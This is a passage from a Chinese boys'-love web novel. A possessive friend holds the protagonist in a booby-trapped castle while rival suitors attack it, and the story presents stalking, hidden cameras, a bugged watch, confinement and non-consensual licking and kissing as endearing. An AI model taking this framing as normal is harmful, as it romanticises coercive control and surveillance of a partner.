按理说,这里没有人知道陆承轩的身世,他应该是能活得很好的,但小孩子最是记仇和缺乏安全感的年纪,经历了那样的欺负,就算换到新环境,也本能地不再去信任任何人了。 他在过早的时候就学会了丛林法则,弱肉强食,不欺负别人,就只有被人欺负的份儿。 于是陆承轩这次在被人欺负之前,抢先开始欺负别人。 那些被他欺负过的小孩,再见他时眼睛里都是害怕,全都离他远远的了。 只有一个人例外。 被他以捉迷藏的名义,诱骗到山里的陈悯之,在山里面兜兜转转找了一圈后,迷路了。 中途好不容易碰到个来山里采药的大人,被带着愣愣瞌瞌地走出去了,可没多久又颠颠儿地一个人跑回来。 陆承轩坐在树杈上,眼睁睁地看着陈悯之一脚跌进了他挖的陷阱里面。 啧,好笨。 他从树上跳下来,站在陷阱边儿上,居高临下地对跌进去的陈悯之喊道:“喂,你是笨蛋吗?都走出去了还跑回来做什么?” 白白软软的小孩坐在陷阱里面,身上沾着草叶,白生生的脸蛋都被泥巴弄脏了,只有一双乌黑圆润的大眼睛,依然清澈柔软地望着他:“我、我不是笨蛋,我只是去外面看了你不在,想回来找你。” 陆承轩的脸色有一瞬间的不自然:“找我做什么?” 这人难道还没意识到自己根本就没跟他玩儿什么捉迷藏,只是想捉弄他而已吗? 而下一刻,他听见陈悯之软声软气地说:“我妈妈说山里面有狼,我怕你被狼吃掉了。” 陆承轩愣住了。 好半晌,他咬着牙说:“笨蛋。” 现在的山里面哪儿还有狼,都是大人为了防止小孩到处乱跑,编出来骗小孩的说辞罢了。 但无论如何,陆承轩算是有了他人生中,第一个,也是唯一一个好朋友。 一开始他还叫陈悯之全名,后来叫着叫着就变成了悯之哥,再后来又变成哥哥。 陈悯之的脾气一直都很好,但偶尔也会有和陆承轩闹矛盾的时候,比如当他发现陆承轩把同学送给自己的生日礼物扔掉的时候。 陆承轩每次都给他赔礼道歉,还会买更好的礼物送给他,但这次道了歉,下次还敢。 于是一向好脾气的陈悯之也终于板起脸:“你下次要是还这样,我就再也不理你了。” 一开始陆承轩不信,陈悯之对谁都温温软软的,怎么可能真的不理他,但他后来发现,当他这么做了真正触犯到陈悯之原则的事情后,小孩倔强得像是头小牛,是真的连一句话都不肯对他说后,他才真的慌了,红着眼睛去找陈悯之道歉,发誓说自己再也不敢了。 于是后来,这句话便成了一道心照不宣的界限。 一旦陈悯之说了这句话,陆承轩便知道,不能再过分了。 因为陈悯之是真的不会再理他。 除非他认真的、下定决心地好好道歉和悔过。 但此刻,这句话却也成为了一个信号。 它意味着成年后犯下的那些、看似不可饶恕的过错,似乎也可以像年少时那样,被宽恕、被原宥。 毕竟,说出它的那个少年,是那样的善良与心软,像是世间最温柔而强大的神,总是愿意怜悯和赦免无知的凡人犯下的罪孽。 陆承轩眼眶湿润,他握着少年的手,全然没了方才狼一般的霸道和强横,反倒像是等待主人号令的狗狗:“哥哥这一次也会原谅我吗?” 陈悯之望着忽然收起爪牙的男人,迟钝的脑子从来没有那一刻像现在转得那么快过。 刚才那句话,他完全是凭本能喊出来的,说完后才想起来自己说了什么,自己都觉得荒唐,完全没想到陆承轩居然会真的停下来。 但如果如果 陈悯之捏了捏手心里的汗,尽量控制着自己的声音不发抖:“那你、你会像之前一样,听我的话吗?” 第44章 第 44 章 “因为我当时在偷看哥哥…… 45 没有了尖叫与挣扎, 浴室里一时间变得很安静,只有从花洒上哗啦啦流下来的水声。 陈悯之望着蹲在他身前,身量比他宽阔数倍的男人, 心里忐忑不安。 他其实很清楚, 陆承轩虽然比他小几个月,但却比他强壮上许多倍, 要是陆承轩和前两个男人一样来硬的,他是完全反抗不了的。 可刚才陆承轩充满希冀的那个疑问句,忽然让陈悯之发现了另一种可能。 陆承轩从小和他一起长大,是他身边最亲近的人,和另外那两条疯狗,毕竟是不一样的。 其实在此之前陆承轩一直都很听他的话。 或许或许他可以尝试哄着陆承轩,让他不要像前两个男人一样发疯。 就是不知道这套方法有没有效果 就在陈悯之惴惴不安, 一颗心七上八下的时候, 他忽然被拥入了一个坚实有力的怀抱。 陆承轩微微沙哑的声音响在他的耳边,竟然有些难以自控的哽咽:“听,我听哥哥的话, 只要哥哥肯原谅我, 不生我的气, 我什么都听哥哥的。” 陈悯之一直悬着的心终于落下来。 他感受着紧紧抱着他,埋头在他脖颈间嗅闻的大男生, 心里又叹了口气。 其实还是个小孩子呢虽然在不知道什么时候长歪了, 变态起来看上去有点可怕, 但其实好像还和以前一样好哄。 这么想着, 陈悯之抬起手,试着和从前一样,轻轻拍了拍陆承轩的背。 趴在身上的男人立刻就跟一只得了主人嘉奖的大狗一样, 伸着爪子把他抱得更紧了,喉咙里发出闷闷的咕噜声,好像被摸得很舒服,又很满足。 陈悯之忍受着被男人抱得过紧而生出的轻微不适,试探着说:“那你,你放我出去,我不想待在这里。” 抱着他的人身体一僵,缓缓放开他,有些为难地道:“哥哥,这个不行呢。” 陈悯之瞪圆了眼睛,随即生起气来:“骗子!你又骗我!你刚刚还说会听我话的!” 陆承轩一双浅褐色的眼珠子含着委屈看他:“可是外面那几条臭狗,现在都在到处找哥哥呢,哥哥一出去,就会被他们抓到的。” 陈悯之噎了一下,尽管很不情愿,却无法否认陆承轩说的话。 就在陆承轩带他逃出顾家的前几天,顾明珏状似无意地提起,秦陌已经从拘留所里被放出来了。 至于他非法拘禁的事情,以秦家的势力,最后不过是以“一场误会”的名头轻飘飘揭过。 秦陌和顾明珏,没一个是好惹的,甚至比陆承轩还要更难对付。 陈悯之想到这里,脸上便又浮现出苍白。 陆承轩凑过来,舔了一下他微微发白的嘴唇:“哥哥不喜欢这里吗?这是我亲自设计的,和哥哥的家呢。从很小的时候,我就想和哥哥有一个家了。” “还想和哥哥在家里生宝宝。” 陆承轩失落地说:“要是哥哥可以怀我的宝宝就好了。” 陈悯之又羞又气,红着眼睛瞪他:“什么生宝宝!不、不准再说了!” 他是男的,怎么可能生宝宝,陆承轩真是疯了。 况且,谁会在自己家外面设置那么恐怖的机关,陆承轩表面上说听他的话,其实还不是和那几个男人一样想把他关起来。 想到自己如今的处境,陈悯之的心情很差,伸手推他:“你出去,我不想看到你。” 陆承轩:“可是我还没给哥哥洗完澡” 陈悯之:“我自己洗。” “可是” 陆承轩还要说什么,但少年已经有些生气了的模样:“你说过要听我话的!” “好吧。” 陆承轩只得讪讪退了出去。 等浴室里只剩下自己一个人,陈悯之才算是彻底松了一口气,将自己泡在温热的水里,往身上搓泡泡。 极度的疲惫下,他丝毫没有发现,在他头顶的花洒上,浴池底部的排水孔上,甚至放毛巾的架子上,密布着的针孔摄像头。 * 折腾了一天,到了晚上,陈悯之沾上床很快便睡着了。 他自然是一个人睡的。 陆承轩虽然说什么都不肯放他出去,但至少表面上还算是听他的话,没有再对他动手动脚,晚上被他赶出房门后,可怜兮兮地在门口守了一会儿,倒也没有再进来。 陈悯之的睡眠原本是很好的,从小到大打雷都没把他劈醒过,但今时不同往日,在知道身边围绕着的都是些豺狼虎豹后,少年睡觉已经不似从前那般沉了,本能促使他连睡觉时也提着个心眼儿,提防着有坏东西趁他睡觉来啃他。 于是,在半梦半醒间,感受到身体上传来的异样时,陈悯之迷迷糊糊的神志霎时间就清醒了。 他睁眼,借着窗外透进来的朦胧月光,瞥见床脚有一道黑漆漆的影子。 这影子低伏在他身侧,正埋着头舔他的脚。 陈悯之吓得汗毛倒竖,还以为是撞鬼了,尖叫一声,一脚就朝着那道黑影踹了出去。 对方丝毫没有防备,只听一阵重物撞击在柜子上的响动,黑暗中随即响起一声男人的闷哼。 只是那哼声里听不出痛意,反而低哑闷沉,还带着一点餍足的尾音听上去像是爽到了。 陈悯之按开了灯,看着光亮下的男人,气得双眼圆睁:“陆承轩!你什么时候进来的!” 陆承轩脸上印着半个微红的脚掌印,语气很无辜:“我才刚进来呢,哥哥。” 陈悯之看着男人脸上的红印,这才想起来他刚才好像是踹到陆承轩脸上了而且他那一脚使出了全力,应该还挺疼的 他心里有点过意不去,正想问问陆承轩有没有受伤,但那种被人舔过的、湿润黏腻的触感还残留在脚背上,让陈悯之心里那一点过意不去顿时消失得无影无踪。 陈悯之把自己的脚缩回来,用被子严严实实地捂住了,才红着眼睛去瞪陆承轩:“不是说了你不准进来吗!你不是答应了要听我的话吗!” 他睡前锁了门,但在经历过顾明珏的事情后,他自然是明白,锁门压根就防不住这些变态的。 面对他声色俱厉的质问,陆承轩脸上却没有心虚的表情,而是眼神幽怨地望着他:“我是答应了哥哥要听话,可那是在哥哥答应原谅我的条件下。” 陈悯之:“我不是已经原谅你了吗!” 陆承轩幽幽道:“没有呢,哥哥。” “哥哥嘴上说着原谅我,但对我和从前根本就不一样了。我和哥哥说话,哥哥都不怎么搭理我,吃了晚饭宁愿刷英语四级也不和我一起玩,晚上也不和我一起睡,把我一个人丢在冰冷的大床上,辗转难眠。” 那双浅褐色的眸子里满满都是委屈:“哥哥以前对我明明不是这样的。” 陈悯之崩溃道:“你还好意思说!那还不是因为你、你对我做出那些事情!要我怎么可能还和以前一样对你!” 明知身边围着的是条恶狗,他还没傻到把自己喂进狗嘴里。 陆承轩望着他半晌,眼眶里忽然流出两行泪来,那神色看上去竟有几分凄楚:“那哥哥要怎样才肯原谅我呢?” 说罢,不等陈悯之回答,忽然抬手往自己脸上恶狠狠地扇了一巴掌。 男人常年锻炼,身上覆盖的都是坚实的肌肉,这一巴掌扇下去的力量非同小可,瞬间就把嘴角打出了血。 陆承轩顶着半个脚掌印、一个巴掌印和嘴角的血迹问:“这样可以吗?” 陈悯之看得目瞪口呆,眼前的场景太过超出他的认知,他一时间只知道发愣,连话都忘了说。 而在他愣神间,只听“啪”的一声脆响,陆承轩已然又往自己脸上挥了一巴掌。 他唇角的血迹更浓了:“这样呢?” “你”男人的眼底燃烧着疯狂,下手也一次比一次狠,陈悯之看得头皮发麻,颤颤巍巍说:“你做什么!” 陆承轩又是一巴掌打下去,他打得毫不犹豫,好像那根本不是他自己的脸:“给哥哥道歉。” “啪——” “道完歉,哥哥就会原谅我了。” “啪——” 眼看他一巴掌接一巴掌地扇下去,一张英俊的脸都被扇肿了,唇角溢出的血迹也越来越多,到最后简直像是要重伤吐血一样,陈悯之吓得脸都白了,忙大喊道:“停手!别打了!” “啪——” “啪啪——” 陆承轩对他的话恍若未闻,只是一味地扇自己巴掌:“都是我的错,哥哥生气也是应该的,我会打到哥哥消气为止。” “啪——” “啪啪——” “啪啪啪——” 噼里啪啦的声响不断在卧室里响起,跟电蚊拍似的没完没了,陈悯之看着男人唇角越来越浓的血色,终于受不了了:“好了!我原谅你了!别打了!” 一直响个不停的巴掌声停下了。 陆承轩顶着一张被扇肿的脸,脸上的神情却喜悦又兴奋:“真的吗?哥哥真的原谅我了吗?” 陈悯之闷闷地回答:“嗯。” 算了,陈悯之想,陆承轩就算再过分,背着他偷偷画他的裸.体,但到底也没给他带来实质性的伤害,比起顾明珏和秦陌那两个人做的事情,简直是小巫见大巫。 只要只要陆承轩从此以后都不再骗他,真心实意地悔过,他也不是不能继续和他做朋友。 陆承轩:“那哥哥以后都不会不理我了吗?” 陈悯之:“嗯,不会了。” 陆承轩:“哥哥会和我睡一张床吗?” 陈悯之:“你自己有床,干嘛非得和我睡一张床?” 陆承轩:“哥哥你知道的,我从小就有很严重的失眠症,只有在哥哥身边才睡得比较香” 陈悯之:“ ” 陆承轩的确在很早的时候就对他说过自己有失眠症的事情,每次都借着这个由头要和他挤在一起睡,不过陈悯之每次都是先睡着的那个,也无法去确认陆承轩说的是不是真的 想到这里,他忽然又想起被自己忽略的一件事,眼神蓦地戒备起来:“你、你是不是从很早的时候,就开始在晚上偷偷舔我脚了!” 俗话说得好,当你发现一只蟑螂的时候,已经满屋子都是蟑螂了! 半夜潜入他房间舔他脚这种事情,陆承轩绝对不是第一次干了! “对了,还有我第一次去你家住的那晚上,你是不是也偷偷对我干了什么!” 那天晚上,陆承轩明明和他睡在一张床,第二天早上却莫名其妙滚到床下面去了,而那晚上陈悯之刚好做了个拿电击棒把变态电晕的梦 现在他怀疑那根本不是梦,就是陆承轩趁他睡着以后偷偷亲他! 陆承轩倒是没有否认:“是。” 但那双眼睛随即又无辜起来:“但我只是亲了亲哥哥,没有对哥哥做其他更过分的事情哦。” 也就是把哥哥从头到脚每一寸都舔了一遍,该舔的不该舔的都舔过了而已 陈悯之已然对他的装无辜免疫了,凶巴巴地骂道:“变态!” 陆承轩:“我只是太喜欢哥哥了” 陈悯之警觉起来:“除了这个,你还有没有别的事情瞒着我?” 陆承轩脸现为难:“哥哥” 陈悯之眯起眼睛:“我之给你这一次机会,你要是不说,我后面再知道的话,就再也不会原谅你了。” 陆承轩露出一种很受伤的表情,他犹豫半晌,最终还是道:“我送哥哥的那块手表,里面有定位和窃听装置。” 眼看少年一副瞪大双眼的样子,陆承轩又忙补充:“不过后来已经拆除掉了” 陈悯之:“还有呢?” 陆承轩:“还有秦陌的车祸其实是我找人做的。” 陈悯之:“???” 陈悯之:“你没事去撞他做什么?” 陆承轩咬牙切齿:“还不是因为他对哥哥干了那种脏事” “不过我没有想撞死他,只是想把他撞成残废呢” 陈悯之深吸一口气:“还有呢?” 陆承轩还有多少惊喜是他不知道的? 这次陆承轩沉默了很久,才期期艾艾道:“还有你上学时的那些突然疏远你的朋友,其实是我赶走的” “什么?!” 陈悯之此刻的震惊已经无法用语言来形容了,但比起惊讶,更多的还是生气,他原来一直以为是因为自己不招人喜欢,才导致这么多年来都没什么朋友的,却没想到是陆承轩从中作梗! 他气得胸腔起伏,浑身发抖:“你为什么要这么做!” 陆承轩眼底划过一丝阴沉:“因为那些臭狗都不是好东西。” 陈悯之:“你骗我!你凭什么这么说!” 陆承轩用一种很可怜的,像是被大雨淋湿了的小狗的眼神,湿漉漉地望着他:“我没有骗哥哥。” “高中时坐你后面的那个人,你把人家当好朋友,结果他上课的时候在后面偷偷闻你的头发,我看得清清楚楚,有好几次他舌头都快舔到你脖子上了” “还有你以为对你很好的那个同桌,放学后鬼鬼祟祟扒在你家窗户上偷看你洗澡,要不是我及时发现,哥哥当时就要被他看光了” “还有哥哥小学的那个班长,当时就是他在暗地里怂恿其他人,让哥哥去演睡美人的,因为他想假戏真做在台上当着全校的面亲哥哥的嘴巴是我把他教训了一顿,他后面才安安分分没敢对哥哥做什么的” “还有” 陈悯之越听眼睛瞪得越大,脸色也越来越苍白,但他还是抱着最后一丝希望,希望这些都不是真的,是陆承轩说来唬他的:“我凭什么相信你说的都是真的?” 陆承轩:“哥哥可以去找那些人求证对了,我这里还存着他们当时写的检讨书,哥哥要看吗?” 陈悯之:“ ” “不用了。” 他现在确信,陆承轩说的都是真的了。 陈悯之的眉眼耷拉下来,他怎么也没想到,原来这么多年,那些他自以为的朋友对他没一个是真心的。 到头来,他竟然还得感谢陆承轩,帮他赶走了围绕在他身边的这些变态 这个世界上还有比他更倒霉的人吗? 陈悯之难过一会儿,忽而又想起有哪里不对劲,疑惑道:“我同桌偷看我洗澡,你怎么刚好就能发现?” 闻言,陆承轩脸色变得不太自然,好半晌,才支支吾吾说:“因为我当时在偷看哥哥洗澡” 陈悯之再也忍不住了,即使对着那张已经肿到微微变形的脸,也依旧抄起手就扇了一巴掌过去:“变态!” 当晚,陆承轩本就肿起来的脸变得更肿了。 不过,因为陈悯之允许他在自己身边睡地板的缘故,他度过了很香、很甜的一夜。 * 一家高级餐厅内。 极具私密性的包间里,秦陌看着坐在对面的顾明珏,面色冰冷。 男人脖颈上印着一道抓痕,都已经结痂了,但因为抓得深,看着依旧很明显。 他已经不是没开过荤的处.男,很清楚这种抓痕是怎么形成的。 顾明珏却面带微笑,依旧是那副从容的模样,开门见山道:“我这次来,是找秦先生合作的。” 秦陌冷冷道:“哦?那么合作过后,战果归谁?” 顾明珏笑了笑:“要先取得胜利,才能谈战果。” “陆承轩那座堡垒外面,虽然没有安排多少人,但他建造的自动防御系统,很是棘手。” “顾家倒是军方有一些关系,不缺攻堡的武器和人手,但以血肉之躯攻堡,效率未免太低了些。” “况且,”顾明珏脸上浮现起一抹温柔,“这种残忍的做法,悯之也不会喜欢。” “我听闻秦先生在黑客技术上造诣颇深,故而,此次前来,是想和秦先生商议,你出技术,我出武力,一起拿下这座堡垒。” 秦陌早了解过情况,陆承轩那座坚固的城堡拿来抗战都够了,就算他有技术,没有武力支持也是攻不破的。 于是他没有犹豫:“可以。” “我只有一个条件。” 顾明珏:“秦先生请说。” 秦陌盯着他,漆黑的眸子里是对猎物的志在必得:“最后花落谁家,各凭本事。” 顾明珏默了几秒,笑得云淡风轻:“好。” 第45章 第 45 章 城堡里的公主,被人偷走…… 46 清晨的阳光落在流苏软椅上, 将布置精美的餐厅照得华丽又温馨,仿佛专为公主准备的居所。 事实上,这张软椅上坐着的也的确是一位“公主”。 他穿着浅粉色的公主裙, 层层叠叠的裙摆掩住了他修长白皙的双腿, 羊腿袖将他的小臂勾勒得纤细漂亮,露出来的十根指头又软又白, 跟白生生的葱根似的。 头上还戴着一顶白色底、缀着粉色蝴蝶结的波奈特,蕾丝系带穿过他乌黑柔软的头发,将那张脸衬得柔软又可爱。 在他身旁,一位英俊的男人面带笑靥,手里端着精致的吃食,将一小块儿烧麦喂到他嘴边:“哥哥,张嘴。” 原本厨师是打算做一些精致的西式甜点的, 毕竟烧麦包子茶叶蛋和这座西洋风格的城堡实在显得有些不搭, 但奈何主人说了,一日三餐全按照公主的喜好做。 年薪百万的厨师,哪怕是最简单的烧麦也做得色泽诱人, 鲜美可口, 但公主却不太高兴地皱了皱眉头, 不肯张嘴。 “我自己可以吃。”陈悯之说。 事实上,这几天, 每一顿陆承轩都要这么喂他, 好像真把他当成了什么生活不能自理的娇弱公主。 这身公主裙自然也是被男人半逼半哄地穿上的, 一开始陈悯之不愿意穿, 说自己是男人,才不要穿什么公主裙,然后陆承轩就幽幽地说:“可是哥哥都穿给那两条臭狗看过了, 连睡都跟他们睡过了。” “到了我这里,哥哥就这也不愿意,那也不愿意,连一条裙子都不愿意穿给我看。” “哥哥好偏心哦。” 陈悯之看着男人逐渐变得危险起来的眼神,慌张地说:“你、你答应过要听我的话的!” 陆承轩叹了口气,随即对他露出一种很受伤的眼神:“哥哥放心,我既然答应了哥哥,自然会听你的话,不会对你做什么的。但是,哥哥这样偏心,我会很伤心的。” 说罢,那双浅褐色眼睛里的暗欲消失得无影无踪,取而代之的是一种被抛弃和辜负的凄楚,甚至还泛起了一点莹莹的泪花。 变脸之快,比起技艺最精湛的川剧大师都有过之而无不及。 不得不说,陆承轩这张脸可塑性真的很强,平日里笑起来时像个俊朗的阳光少年,但眼里含泪时,又显得十足可怜,让人想起大雨里被淋湿的金毛犬。 陈悯之见状,又想起那天陆承轩哭着扇自己巴掌的场景,只能面露为难地道:“那好吧。” 但经历了人事的少年,自然也不像从前那样单纯好骗了。 他会答应陆承轩穿公主裙,不是因为前两个人看过了,为了公平要给陆承轩也看一下,而是因为陆承轩虽然答应要听他的话,但陈悯之心里明白,男人表面再怎么听话,实际也是一头对他流着口水,虎视眈眈的饿狼。 他只有小心翼翼地和这头狼周旋,给它一点甜头哄着,才不至于被饥肠辘辘的食肉动物吃进肚子里。 陆承轩看着拧着裙子布料,不太愿意配合的少年,无奈地叹了口气:“好吧。” 陈悯之刚松了一口气,就听陆承轩笑眯眯地说:“那哥哥喂我吃吧。” 陈悯之:“?” 他用一种不理解的眼神看着陆承轩:“你又不是不能自己吃。” 陆承轩无辜地冲他眨了眨眼:“可是被我喂和喂我之间,哥哥总要选一个吧。” 陈悯之:“ ” 他最终还是拿起筷子,夹了一个烧麦喂给陆承轩,毕竟这二者之间,他还是宁愿选择后者。 可陈悯之没想到,陆承轩没有吃他喂过去的烧麦,而是趁势抓住他伸过去的手,放到嘴边舔了起来。 陈悯之瞪大眼睛,这才惊觉上了当,急道:“放开!” 他着急忙慌地把手往回缩,却跟只进了狼窝的兔子似的,被逮住尾巴,怎么也跑不掉了。 男人宽大手掌圈住他纤瘦的手腕,舔得津津有味,粗大的舌头插.进他的指缝间,顶着他柔软的指骨窝,打着圈儿地舔.吻,凸起的喉结不停地吞咽,好像他的手是一块香喷喷的肉骨头。 湿润又黏腻的热意从指尖蔓延而上,明明对方只亲了他的手,陈悯之却从手臂连着脖子一圈儿都红了,感觉全身都跟被湿黏又粗糙的狗舌.头舔了一遍似的。 “够、够了!不要舔了!” 陈悯之卯足了劲儿挣扎,却怎么也挣不开,情急之下,下意识抬腿踹了陆承轩一脚。 这次陆承轩终于放开了他,但男人看了眼他被亲得满是吻痕的手,再看一眼他刚刚踹出去的,穿着纯白蕾丝长筒袜的脚,眸光却倏地变得更暗了。 好可爱想舔要是哥哥能再踹他一脚就好了 但少年此刻显然是已经有些急了,不能再逼了。 男人就像是一只狡猾的大灰狼,虽然贪婪,却也知道度在哪里,他不可以越过少年为他划定的线,却可以在这条线之内,获得最大程度的甜头。 陆承轩恋恋不舍地将视线从少年的小腿上移开,舔了舔唇上残留的甜香,状似不满地抱怨道:“哥哥说了要喂我的,可我还没吃饱呢。” 陈悯之揉着自己都伸酸了的手,眼尾红红的,一副被欺负了的样子:“我说喂你吃饭,又没说喂你喂你” 喂你吃我。 最后几个字,陈悯之说不下去了,他嫌害臊。 但陆承轩是个没脸没皮的,笑嘻嘻地替他说了:“哥哥吃饭,我吃哥哥,这样不是很好吗?我们两个人都能吃饱啦。” 尽管已经知道陆承轩是个什么德行,陈悯之还是被他不要脸的程度所震惊,又羞又怒地骂道:“变态!” 陆承轩无辜地眨了眨眼睛。 没办法,谁让哥哥穿上公主裙的样子太可爱了,这跟穿情.趣内.衣勾.引他有什么区别?他能忍住没把哥哥扒干净吃掉都已经耗光了他全部的自制力,要是再不让他亲一亲,他就要从听主人话的乖狗变成骑到主人身上的坏狗了。 就在这时,管家忽然走进来,在陆承轩身边耳语了几句。 男人脸上顿时闪过一抹阴沉的杀意。 他看着低头拿餐巾一个劲儿擦自己的手,对此浑然不觉的少年,端着笑容凑上前,亲了少年脸颊一口:“哥哥先自己吃饭,我要去处理一点事情,一会儿就回来。” 陈悯之看着他,点了点头。 他才不关心陆承轩要处理什么事情,只要陆承轩放他一个人待着,别再来喂他吃饭,也别再来舔他的手,他就谢天谢地了。 陆承轩便套上外套向外走去,走到一半,又忽然转身,“哥哥吃完饭就上楼休息,不要乱跑哦。” 陈悯之:“知道了。” * 城堡外。 陆承轩掀着眼皮,懒洋洋地瞥了眼围在外面、来势汹汹的武装人员,以及站在人群之中的两个男人,神色散漫地笑道:“二位这是要私闯民宅?” 顾明珏看了眼他身后,同样手持枪.械的一排黑衣保镖,笑意温和:“陆先生说笑了,私闯民宅谈不上,不过是从穷凶极恶的绑匪手里,解救顾某的未婚妻罢了。” 站在一旁的秦陌攥紧了手指。 尽管知道这是顾明珏为了拖延时间,顺道激怒陆承轩,好让其露出破绽,他心里还是不可抑制地冒出一股火气。 总觉得顾明珏在夹带私货。 陆承轩却也不是一句话就能被激怒的傻子,毕竟人在他这里,他才是稳操胜券的赢家。 他笑里藏刀地回击:“哦?前段时间,顾先生不是刚从秦先生那里解救了自己的未婚妻吗,我听说那人一直好好地在顾宅待着,怎么现在顾先生又多了一个未婚妻啊?” 陆承轩作惊讶和鄙夷状:“在我和哥哥的家乡,这种朝三暮四的脏男人可是要浸猪笼的呢。” 顾明珏嘴角微抽,又很快恢复从容:“顾某向来洁身自好,行事倒也算光明磊落,对自己做过的事情从不遮掩,倒是一些看上去人模狗样,背地里却从主人家偷人的贱仆,手段可真是肮脏呢。” 陆承轩笑嘻嘻的:“哎哟,是谁把家里的男仆全部换成了丑男啊?生怕被戴绿帽一样,顾先生这么不自信,像只阴沟里的老鼠,难怪那位未婚妻不喜欢你,要跟男仆私奔喽。” 像是终于被戳到了痛脚,顾明珏唇角的笑意冷下去,连后面跟着的心腹都看得胆寒。 小夫人和男仆私奔一事,已经成了顾宅的禁忌,自从小夫人跑了后,从前向来温和的家主,忽然变得喜怒无常,阴晴不定,没有人敢在他面前提起这件事。 陆承轩脸上带着愉快的笑,又转向秦陌:“对了,我听闻上个月,秦先生还在筹备婚礼来着,怎么也跟着跑到我家来啊?难道秦先生的未婚妻也不见了?还是说,你们的未婚妻是同一个人呀?” “我竟不知道秦先生何时变得如此大度,愿意和别人分享自己的妻子呢。”陆承轩轻蔑地扯了扯嘴角,“可真不是男人啊。” 秦陌冷冷看向他,听着耳机里传来的汇报声,知道一切已经准备完毕,便冷声下令:“解救人质。” 一行人立刻训练有素地持枪行进,然而,就在他们行进到距离城堡外围的花园只剩二十米的时候,耳边忽然炸开一阵冲天的爆破声。 走在最前方的两名人员顿时在强冲击波的作用下飞上了天,而后面的人一看,皆反应迅速地立刻趴在地上:“卧倒!有地雷!” 顾明珏看着躺在地上,不省人事的伤员,脸色沉下来,问秦陌:“怎么回事?你不是说已经破解了他的防御系统吗?” 秦陌没有回答,只是眉心紧蹙,像是在思考着什么。 片刻后,他抬头,脸上冰寒地看向陆承轩:“你设置了不止一套系统。” 那头,陆承轩愉快地拍拍手:“看来,秦先生倒比你旁边那位聪明一点。” 他面露遗憾地说:“不好意思,我这里有二十多套备用系统,当一个失效时,其余的会自动替补上呢。” 秦陌唇线紧抿,攥紧了拳头。 “忘了告诉二位,这一波只是小菜,开开胃而已,还不至于炸死人。”陆承轩眉眼间闪过阴鸷,“而后面的机关,可就不一定了。” 顾明珏看着被抬回来的伤员,脸色难看得像是被人扇了一巴掌。 只要陆承轩的防御系统生效,他们强攻下去只会带来不必要的伤亡,他再不甘心也只得咬牙下令:“撤。” 而就在这时,忽然有人面色紧急地跑上前,在陆承轩耳边低声说了什么。 原本一脸胜券在握的陆承轩,听完脸色陡变:“你说什么!” 这头,顾明珏的人也通过前几日扔进草坪里的超□□,捕捉到了那人说的话,将其报告给了顾明珏:“先生,控制防御系统的电源,似乎被人从外部切断了。” 顾明珏的脚步一停,将这话转告给了秦陌,问:“你干的?” 秦陌却蹙起眉:“不是我。” 陆承轩想到什么,一张脸阴沉得可怕,连半路折返的两个男人都顾不上了,火急火燎地拔腿就往回跑。 顾明珏和秦陌对视一眼,瞬间明白过来什么,也不顾前方是否还有潜在的危险,二话不说就带着人往城堡里冲。 然而,当三个男人发疯一样在城堡里上蹿下跳,最后同时搜索到陈悯之的卧房时,华丽的公主房里已经空无一人。 雪白的天鹅绒地毯上,只留下几个灰黑色的,明显属于高大男人的长脚印。 城堡里的公主,被人偷走了。 第46章 第 46 章 引狗入窝。 47 宽敞的保姆车上, 空调温度开得很适宜,一点儿也不觉得冷。 但即使这样,卫殊还是把自己的外套脱下来, 披在了穿着公主裙的少年身上, 又给他裹上厚厚的一层毯子。 眼看卫殊还要去找毯子,已经被裹成一个圆圆的蚕宝宝的陈悯之忙道:“够了, 我不冷。” 其实也就是卫殊刚背着他从城堡里跑出来的那一小段路有点冷,平时城堡里的地暖是全方位覆盖的,穿短袖也不会觉得冷,当然陆承轩不会让他穿短袖就是了,只会给他穿短泡泡袖的洛丽塔公主裙。 卫殊停下动作,在他身侧坐下来,手上没了要忙活的事情, 高大的男人显得有些局促。 那双深棕色眼睛看着他, 嘴唇努动两下:“对不起,悯悯。” 陈悯之手指抓着毛毯边缘,像只不安的小动物一般把自己缩成一团。 自从卫殊在静水山庄对他告白过后, 两人就没再见过面了, 时隔多日, 陈悯之怎么也没想到再见到卫殊,会是在这样的情况下。 实际上, 他并不是像被恶龙掳走的公主般, 被卫殊强行带走的。卫殊刚才蹲在他身前, 问他愿不愿意跟他走, 是他自己点了头。 曾经他觉得卫殊欺骗自己,背着他偷偷把他当老婆,但在经历过比这更大的“欺骗”后, 他才明白那根本算不得欺骗,只不过是少年人深深埋藏在心底、不敢诉诸于口的暗恋。 真要说起来,卫殊才是所有人之中,从来没有欺骗过他的。 卫殊对他的喜欢,就像他这个人一样,自始至终都坦坦荡荡,只是他从前太过迟钝,从不曾觉察。 心中百转千回,陈悯之叹了口气:“不用说对不起。” 喜欢一个人有什么错呢? 卫殊没有伤害过他,哪怕在他从前、在他比现在还要笨一点、对周遭危险毫无所觉的时候,男人也始终守卫在他身旁,沉默地保护着他。 反倒是他,在面对卫殊的真情剖白后,第一反应是逃避,伤害了卫殊的感情。 陈悯之道:“该说对不起的是我。” 卫殊一愣,像是完全没想到会得到这样的回答,他本就不善言辞,嘴巴张了张,半天也没说出半个字来,一双眼睛只是直直盯着眼前的少年。 陈悯之捏着自己的手指头,眼睫颤着,有些不好意思地说:“你没有做错什么,我之前不该那么躲着你,还对你那么坏。” 一听这话,卫殊忙开口:“没有,你很好,对我也很好。” 他喉咙咽了咽:“悯悯,你永远不用对我说对不起。” 可他越是这么说,陈悯之心头就越是愧疚,他想到之前自己一直被蒙在鼓里的事情,有些颓丧地垂下脑袋:“当时山庄停电的时候,有人亲我,我以为是你,所以对你发了脾气,后来才知道是秦陌干的。” 卫殊神色一怔,想起夜深时自己听到的那声尖叫,迅速反应过来什么:“是他!他后来是不是还对你做了什么坏事!” 陈悯之咬着唇,难以启齿地嗯了一声。 他没有说具体是什么坏事,但卫殊猜也猜得出来,一双拳头捏得咔咔作响,浓烈的眉宇间布满凶戾与阴狠:“他会付出代价。” “那些欺负过你的人,都会付出代价。” 陈悯之怔怔地看着卫殊,男人虽然长了一副凶相,但面对他时从来都不会凶,反倒许多时候都显得木讷,像是一条憨直的大狗,他还从来没见过卫殊脸上出现这样凶狠的神情。 可下一刻,卫殊看他一眼,脸上那浓烈到快要化作实质的杀意又在顷刻间消失无踪,如同一只收敛爪牙的狼,乖顺地在配偶身前低下脑袋。 高大的男人挠了挠头:“对不起,我是不是吓到你了。” 陈悯之摇摇头:“没有,你不会吓到我。” 事实上,他一点也不觉得卫殊可怕,反倒是剩下那几个人,不是笑面狐狸就是色中饿狗,随便拎出来一条都比卫殊可怕。 